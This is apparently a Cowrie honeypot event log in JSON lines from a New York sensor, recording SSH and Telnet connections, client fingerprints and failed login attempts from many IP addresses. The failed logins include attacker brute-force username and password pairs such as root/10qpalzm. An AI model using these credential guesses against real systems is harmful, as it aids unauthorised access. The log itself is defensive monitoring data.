{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:15.610765Z","src_ip":"45.143.200.246","session":"9042d4746ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:15.713751Z","src_ip":"45.143.200.246","session":"9042d4746ac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#QWE123qwe","message":"login attempt [ubuntu/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:16.158803Z","src_ip":"45.143.200.246","session":"9042d4746ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:16.210080Z","src_ip":"91.92.40.4","session":"666c7e4e889d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:17.266511Z","src_ip":"45.143.200.246","session":"9042d4746ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":33050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2246cd56aea","protocol":"ssh","message":"New connection: 138.124.69.150:33050 (10.17.0.5:22) [session: d2246cd56aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:19.773005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:19.777992Z","src_ip":"138.124.69.150","session":"d2246cd56aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:19.906184Z","src_ip":"138.124.69.150","session":"d2246cd56aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#QWE123qwe","message":"login attempt [ubuntu/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:20.453280Z","src_ip":"138.124.69.150","session":"d2246cd56aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:21.585239Z","src_ip":"138.124.69.150","session":"d2246cd56aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2487,"dst_ip":"159.203.135.109","dst_port":22,"session":"dac74cc3f0bb","protocol":"ssh","message":"New connection: 196.188.93.169:2487 (159.203.135.109:22) [session: dac74cc3f0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:24.585946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:24.590363Z","src_ip":"196.188.93.169","session":"dac74cc3f0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:24.763181Z","src_ip":"196.188.93.169","session":"dac74cc3f0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10qpalzm","message":"login attempt [root/10qpalzm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:25.485353Z","src_ip":"196.188.93.169","session":"dac74cc3f0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:26.679393Z","src_ip":"196.188.93.169","session":"dac74cc3f0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":53198,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e34505c5190","protocol":"ssh","message":"New connection: 159.65.58.200:53198 (159.203.135.109:22) [session: 7e34505c5190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:29.493086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:29.721699Z","src_ip":"159.65.58.200","session":"7e34505c5190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:29.724880Z","src_ip":"159.65.58.200","session":"7e34505c5190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.60431456565857,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:29.938585Z","src_ip":"170.64.224.25","session":"e5590a0f4747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":54776,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa6478a29ac","protocol":"ssh","message":"New connection: 211.106.137.135:54776 (10.17.0.5:22) [session: 1aa6478a29ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:30.818407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:30.834882Z","src_ip":"211.106.137.135","session":"1aa6478a29ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:31.033974Z","src_ip":"211.106.137.135","session":"1aa6478a29ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smota","password":"123456","message":"login attempt [smota/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:31.202587Z","src_ip":"159.65.58.200","session":"7e34505c5190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd123!@#","message":"login attempt [user/p@ssw0rd123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:31.849586Z","src_ip":"211.106.137.135","session":"1aa6478a29ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:32.490744Z","src_ip":"159.65.58.200","session":"7e34505c5190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:32.990460Z","src_ip":"58.221.60.25","session":"f90a85b45fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:33.056200Z","src_ip":"211.106.137.135","session":"1aa6478a29ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.727343559265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:37.163837Z","src_ip":"107.6.151.170","session":"d8ed1bf2a898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.394149780273438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:41.848007Z","src_ip":"107.6.151.170","session":"9497fe2215db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40812,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3bf25daebf","protocol":"ssh","message":"New connection: 8.210.75.243:40812 (10.17.0.5:22) [session: 7c3bf25daebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:45.359556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:45.363404Z","src_ip":"8.210.75.243","session":"7c3bf25daebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:55.971312Z","src_ip":"8.210.75.243","session":"9bd3f74cd212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":42274,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1043a15bffd","protocol":"ssh","message":"New connection: 152.53.185.81:42274 (10.17.0.5:22) [session: f1043a15bffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:59.867505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:59.871432Z","src_ip":"152.53.185.81","session":"f1043a15bffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:59.961015Z","src_ip":"152.53.185.81","session":"f1043a15bffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4A","message":"login attempt [root/q1w2e3r4A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:00.383165Z","src_ip":"152.53.185.81","session":"f1043a15bffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52910,"dst_ip":"10.17.0.5","dst_port":22,"session":"915be72bd7b6","protocol":"ssh","message":"New connection: 8.210.75.243:52910 (10.17.0.5:22) [session: 915be72bd7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:01.278370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:01.284620Z","src_ip":"8.210.75.243","session":"915be72bd7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:01.483230Z","src_ip":"152.53.185.81","session":"f1043a15bffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.251","src_port":54154,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b1cd3ecc72d","protocol":"ssh","message":"New connection: 209.90.232.251:54154 (10.17.0.5:22) [session: 4b1cd3ecc72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.050646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.054696Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.128726Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:ae:50:05:50:b9:a1:a5:cc:9a:26:f4:99:e3:41:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw+P3ZW1yiW5S5i392pragi6ZFP5PvSjH4gYAkzkBltAJYg/PAFL8Wy6zcUkCzkHYlAfF+Wc/0H68+GKEQuqMoSm+VBN235ULClnoApJbRAn2aiY4sPeI3XHi0oQvTjm/MVtXZdIBdePMbS/v/T0SOTeMv2aozwhu7LsFUU3N73fyp08i3ZIFfrIweFQ/IdaOHWtnPHkrnQKqr/X2NoVMWwa8U7MLAhKTp1O+2I0FxNethTk2Ao648vIhaon3yEBlEtDVfiB3rFZMeyblO7hC0VlwJq6S0E4JrGYAQXdv/zXhp2CIR4nKVrGML5yrexPvaUZUJFYPNgKEpaiM8CG0h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:ae:50:05:50:b9:a1:a5:cc:9a:26:f4:99:e3:41:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.466440Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:ae:50:05:50:b9:a1:a5:cc:9a:26:f4:99:e3:41:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw+P3ZW1yiW5S5i392pragi6ZFP5PvSjH4gYAkzkBltAJYg/PAFL8Wy6zcUkCzkHYlAfF+Wc/0H68+GKEQuqMoSm+VBN235ULClnoApJbRAn2aiY4sPeI3XHi0oQvTjm/MVtXZdIBdePMbS/v/T0SOTeMv2aozwhu7LsFUU3N73fyp08i3ZIFfrIweFQ/IdaOHWtnPHkrnQKqr/X2NoVMWwa8U7MLAhKTp1O+2I0FxNethTk2Ao648vIhaon3yEBlEtDVfiB3rFZMeyblO7hC0VlwJq6S0E4JrGYAQXdv/zXhp2CIR4nKVrGML5yrexPvaUZUJFYPNgKEpaiM8CG0h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.469603Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
